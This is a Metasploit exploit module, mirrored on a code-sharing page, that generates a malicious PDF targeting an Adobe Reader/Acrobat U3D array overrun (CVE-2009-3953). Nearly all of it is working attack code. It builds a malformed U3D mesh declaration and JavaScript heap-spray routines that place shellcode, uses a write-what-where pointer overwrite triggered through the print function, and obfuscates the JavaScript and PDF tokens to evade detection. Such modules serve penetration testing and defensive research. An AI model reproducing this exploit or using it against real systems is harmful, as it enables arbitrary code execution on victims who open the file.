Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
18
'Description' => %q{
19
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
20
Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
21
specially crafted pdf that a contains malformed U3D data, an attacker may
22
be able to execute arbitrary code.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
27
'jduck'
28
],
29
'References' => [
30
[ 'CVE', '2009-3953' ],
31
[ 'OSVDB', '61690' ],
32
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
33
],
34
'DefaultOptions' => {
35
'EXITFUNC' => 'process',
36
'DisablePayloadHandler' => true
37
},
38
'Payload' => {
39
'Space' => 1024,
40
'BadChars' => "\x00",
41
'DisableNops' => true
42
},
43
'Platform' => 'win',
44
'Targets' => [
45
# test results (on Windows XP SP3)
46
# reader 7.0.5 - untested
47
# reader 7.0.8 - untested
48
# reader 7.0.9 - untested
49
# reader 7.1.0 - untested
50
# reader 7.1.1 - untested
51
# reader 8.0.0 - untested
52
# reader 8.1.2 - works
53
# reader 8.1.3 - not working :-/
54
# reader 8.1.4 - untested
55
# reader 8.1.5 - untested
56
# reader 8.1.6 - untested
57
# reader 9.0.0 - untested
58
# reader 9.1.0 - works
59
[
60
'Adobe Reader Windows Universal (JS Heap Spray)',
61
{
62
'Size' => (6500 / 20),
63
'DataAddr' => 0x09011020,
64
'WriteAddr' => 0x7c49fb34,
65
}
66
],
67
],
68
'DisclosureDate' => '2009-10-13',
69
'DefaultTarget' => 0,
70
'Notes' => {
71
'Reliability' => UNKNOWN_RELIABILITY,
72
'Stability' => UNKNOWN_STABILITY,
73
'SideEffects' => UNKNOWN_SIDE_EFFECTS
74
}
75
)
76
)
77
78
register_options(
79
[
80
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
81
]
82
)
83
end
84
85
def exploit
86
# Encode the shellcode.
87
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
88
89
# Make some nops
90
nops = Rex::Text.to_unescape(make_nops(4))
91
92
=begin
93
94
Original notes on heap technique used in this exploit:
95
96
## PREPAREHOLES:
97
## We will construct 6500*20 bytes long chunks starting like this
98
## |0 |6 |8 |C |24 |size
99
## |00000... |0100|20100190|0000... | ......pad...... |
100
## \ \
101
## \ \ -Pointer: to controlled data
102
## \ -Flag: must be 1
103
## -Adobe will handle this ragged structure if the Flag is on.
104
## -Adobe will get 'what to write where' from the memory pointed
105
## by our supplied Pointer.
106
##
107
## then allocate a bunch of those ..
108
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
109
## |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
110
##
111
## and then free some of them...
112
## .. | chunk | free | chunk | free | chunk | free | chunck | ..
113
## |XXXXXXX| |XXXXXXX| |XXXXXXX| |XXXXXXXX|
114
##
115
## This way controlling when the next 6500*20 malloc will be
116
## followed with. We freed more than one hole so it became tolerant
117
## to some degree of malloc/free trace noise.
118
## Note the 6500 is arbitrary it should be a fairly unused chunk size
119
## not big enough to cause a different type of allocation.
120
## Also as we don't need to reference it from anywhere we don't care
121
## where this hole layout is placed in memory.
122
123
## PREPAREMEMORY:
124
## In the next technique we make a big-chunk of 0x10000 bytes
125
## repeating a 0x1000 bytes long mini-chunk of controled data.
126
## Big-chunks are always allocated aligned to 0x1000. And if we
127
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
128
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
129
## will have our mini chunk
130
##
131
## A mini-chunk will have this look
132
##
133
## |0 |10 |54 |? |0xff0 |0x1000
134
## |00000... | POINTERS | nops | shellcode | pad |
135
##
136
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
137
## But we use 0x09011064.
138
## POINTERS looks like this:
139
## ...
140
141
=end
142
143
# prepare the hole
144
daddr = target['DataAddr']
145
hole_data = [0, 0, 1, daddr].pack('VvvV')
146
# padding
147
hole_data << "\x00" * 24
148
hole = Rex::Text.to_unescape(hole_data)
149
150
# prepare ptrs
151
ptrs_data = [0].pack('V')
152
# where to write
153
ptrs_data << [target['WriteAddr'] / 4].pack('V')
154
# must be greater tan 5 and less than x for getting us where we want
155
ptrs_data << [6].pack('V')
156
# what to write
157
ptrs_data << [(daddr + 0x10)].pack('V')
158
# autopointer for print magic(tm)
159
ptrs_data << [(daddr + 0x14)].pack('V')
160
# function pointers for print magic(tm)
161
# pointing to our shellcode
162
ptrs_data << [(daddr + 0x44)].pack('V') * 12
163
ptrs = Rex::Text.to_unescape(ptrs_data)
164
165
js_doc = <<~EOF
166
function prepareHoles(slide_size)
167
{
168
var size = 1000;
169
var xarr = new Array(size);
170
var hole = unescape("#{hole}");
171
var pad = unescape("%u5858");
172
while (pad.length <= slide_size/2 - hole.length)
173
pad += pad;
174
for (loop1=0; loop1 < size; loop1+=1)
175
{
176
ident = ""+loop1;
177
xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
178
}
179
for (loop2=0;loop2<100;loop2++)
180
{
181
for (loop1=size/2; loop1 < size-2; loop1+=2)
182
{
183
xarr[loop1]=null;
184
xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
185
xarr[loop1]=null;
186
}
187
}
188
return xarr;
189
}
190
191
function prepareMemory(size)
192
{
193
var mini_slide_size = 0x1000;
194
var slide_size = 0x100000;
195
var xarr = new Array(size);
196
var pad = unescape("%ucccc");
197
198
while (pad.length <= 32 )
199
pad += pad;
200
201
var nops = unescape("#{nops}");
202
while (nops.length <= mini_slide_size/2 - nops.length)
203
nops += nops;
204
205
var shellcode = unescape("#{shellcode}");
206
var pointers = unescape("#{ptrs}");
207
var chunk = nops.substring(0,32/2) + pointers +
208
nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
209
shellcode + pad.substring(0,32/2);
210
chunk=chunk.substring(0,mini_slide_size/2);
211
while (chunk.length <= slide_size/2)
212
chunk += chunk;
213
214
for (loop1=0; loop1 < size; loop1+=1)
215
{
216
ident = ""+loop1;
217
xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
218
}
219
return xarr;
220
}
221
222
var mem = prepareMemory(200);
223
var holes = prepareHoles(6500);
224
this.pageNum = 1;
225
EOF
226
js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|
227
228
# Obfuscate it up a bit
229
js_doc = obfuscate_js(js_doc,
230
'Symbols' => {
231
'Variables' => %W{slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident},
232
'Methods' => %W{prepareMemory prepareHoles}
233
}).to_s
234
235
# create the u3d stuff
236
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28) + 4))
237
238
# Create the pdf
239
pdf = make_pdf(u3d, js_doc, js_pg1)
240
241
print_status("Creating '#{datastore['FILENAME']}' file...")
242
243
file_create(pdf)
244
end
245
246
def obfuscate_js(javascript, opts)
247
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
248
js.obfuscate
249
return js
250
end
251
252
def random_non_ascii_string(count)
253
result = ""
254
count.times do
255
result << (rand(128) + 128).chr
256
end
257
result
258
end
259
260
def io_def(id)
261
"%d 0 obj\n" % id
262
end
263
264
def io_ref(id)
265
"%d 0 R" % id
266
end
267
268
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
269
def n_obfu(str)
270
result = ""
271
str.scan(/./u) do |c|
272
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
273
result << "#%x" % c.unpack("C*")[0]
274
else
275
result << c
276
end
277
end
278
result
279
end
280
281
def ascii_hex_whitespace_encode(str)
282
result = ""
283
whitespace = ""
284
str.each_byte do |b|
285
result << whitespace << "%02x" % b
286
whitespace = " " * (rand(3) + 1)
287
end
288
result << ">"
289
end
290
291
def u3d_pad(str, char = "\x00")
292
ret = ""
293
if (str.length % 4) > 0
294
ret << char * (4 - (str.length % 4))
295
end
296
return ret
297
end
298
299
def make_u3d_stream(size, meshname)
300
# build the U3D header
301
hdr_data = [1, 0].pack('n*') # version info
302
hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV')
303
hdr = "U3D\x00"
304
hdr << [hdr_data.length, 0].pack('VV')
305
hdr << hdr_data
306
307
# mesh declaration
308
decl_data = [meshname.length].pack('v')
309
decl_data << meshname
310
decl_data << [0].pack('V') # chain idx
311
# max mesh desc
312
decl_data << [0].pack('V') # mesh attrs
313
decl_data << [1].pack('V') # face count
314
decl_data << [size].pack('V') # position count
315
decl_data << [4].pack('V') # normal count
316
decl_data << [0].pack('V') # diffuse color count
317
decl_data << [0].pack('V') # specular color count
318
decl_data << [0].pack('V') # texture coord count
319
decl_data << [1].pack('V') # shading count
320
# shading desc
321
decl_data << [0].pack('V') # shading attr
322
decl_data << [0].pack('V') # texture layer count
323
decl_data << [0].pack('V') # texture coord dimensions
324
# no textore coords (original shading ids)
325
decl_data << [size + 2].pack('V') # minimum resolution
326
decl_data << [size + 3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
327
# quality factors
328
decl_data << [0x12c].pack('V') # position quality factor
329
decl_data << [0x12c].pack('V') # normal quality factor
330
decl_data << [0x12c].pack('V') # texture coord quality factor
331
# inverse quantiziation
332
decl_data << [0].pack('V') # position inverse quant
333
decl_data << [0].pack('V') # normal inverse quant
334
decl_data << [0].pack('V') # texture coord inverse quant
335
decl_data << [0].pack('V') # diffuse color inverse quant
336
decl_data << [0].pack('V') # specular color inverse quant
337
# resource params
338
decl_data << [0].pack('V') # normal crease param
339
decl_data << [0].pack('V') # normal update param
340
decl_data << [0].pack('V') # normal tolerance param
341
# skeleton description
342
decl_data << [0].pack('V') # bone count
343
# padding
344
decl_pad = u3d_pad(decl_data)
345
mesh_decl = [0xffffff31, decl_data.length, 0].pack('VVV')
346
mesh_decl << decl_data
347
mesh_decl << decl_pad
348
349
# build the modifier chain
350
chain_data = [meshname.length].pack('v')
351
chain_data << meshname
352
chain_data << [1].pack('V') # type (model resource)
353
chain_data << [0].pack('V') # attributes (no bounding info)
354
chain_data << u3d_pad(chain_data)
355
chain_data << [1].pack('V') # number of modifiers
356
chain_data << mesh_decl
357
modifier_chain = [0xffffff14, chain_data.length, 0].pack('VVV')
358
modifier_chain << chain_data
359
360
# mesh continuation
361
cont_data = [meshname.length].pack('v')
362
cont_data << meshname
363
cont_data << [0].pack('V') # chain idx
364
cont_data << [0].pack('V') # start resolution
365
cont_data << [0].pack('V') # end resolution
366
# no resolution update, unknown data follows
367
cont_data << [0].pack('V')
368
cont_data << [1].pack('V') * 10
369
mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV')
370
mesh_cont << cont_data
371
mesh_cont << u3d_pad(cont_data)
372
373
data = hdr
374
data << modifier_chain
375
data << mesh_cont
376
377
# patch the length
378
data[24, 4] = [data.length].pack('V')
379
380
return data
381
end
382
383
def make_pdf(u3d_stream, js_doc, js_pg1)
384
xref = []
385
eol = "\x0a"
386
obj_end = "" << eol << "endobj" << eol
387
388
# the header
389
pdf = "%PDF-1.7" << eol
390
391
# filename/comment
392
pdf << "%" << random_non_ascii_string(4) << eol
393
394
# js stream (doc open action js)
395
xref << pdf.length
396
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))
397
pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
398
pdf << "stream" << eol
399
pdf << compressed << eol
400
pdf << "endstream" << eol
401
pdf << obj_end
402
403
# js stream 2 (page 1 annot js)
404
xref << pdf.length
405
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_pg1))
406
pdf << io_def(2) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
407
pdf << "stream" << eol
408
pdf << compressed << eol
409
pdf << "endstream" << eol
410
pdf << obj_end
411
412
# catalog
413
xref << pdf.length
414
pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)
415
pdf << n_obfu("/Pages ") << io_ref(5)
416
pdf << n_obfu("/OpenAction ") << io_ref(8) << n_obfu(">>")
417
pdf << obj_end
418
419
# outline
420
xref << pdf.length
421
pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")
422
pdf << obj_end
423
424
# pages/kids
425
xref << pdf.length
426
pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")
427
pdf << io_ref(10) << " " # empty page
428
pdf << io_ref(11) # u3d page
429
pdf << n_obfu("]>>")
430
pdf << obj_end
431
432
# u3d stream
433
xref << pdf.length
434
pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
435
pdf << "stream" << eol
436
pdf << u3d_stream << eol
437
pdf << "endstream"
438
pdf << obj_end
439
440
# u3d annotation object
441
xref << pdf.length
442
pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")
443
pdf << "/3D/3DA <</A/PO/DIS/I>>"
444
pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")
445
pdf << obj_end
446
447
# js dict (open action js)
448
xref << pdf.length
449
pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end
450
451
# js dict (page 1 annot js)
452
xref << pdf.length
453
pdf << io_def(9) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(2) + ">>" << obj_end
454
455
# page 0 (empty)
456
xref << pdf.length
457
pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
458
pdf << n_obfu(" >>")
459
pdf << obj_end
460
461
# page 1 (u3d/print)
462
xref << pdf.length
463
pdf << io_def(11) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
464
pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")
465
pdf << n_obfu("/AA << /O ") << io_ref(9) << n_obfu(">>")
466
pdf << n_obfu(">>")
467
pdf << obj_end
468
469
# xrefs
470
xrefPosition = pdf.length
471
pdf << "xref" << eol
472
pdf << "0 %d" % (xref.length + 1) << eol
473
pdf << "0000000000 65535 f" << eol
474
xref.each do |index|
475
pdf << "%010d 00000 n" % index << eol
476
end
477
478
# trailer
479
pdf << "trailer" << eol
480
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol
481
pdf << "startxref" << eol
482
pdf << xrefPosition.to_s() << eol
483
pdf << "%%EOF" << eol
484
end
485
end
486
487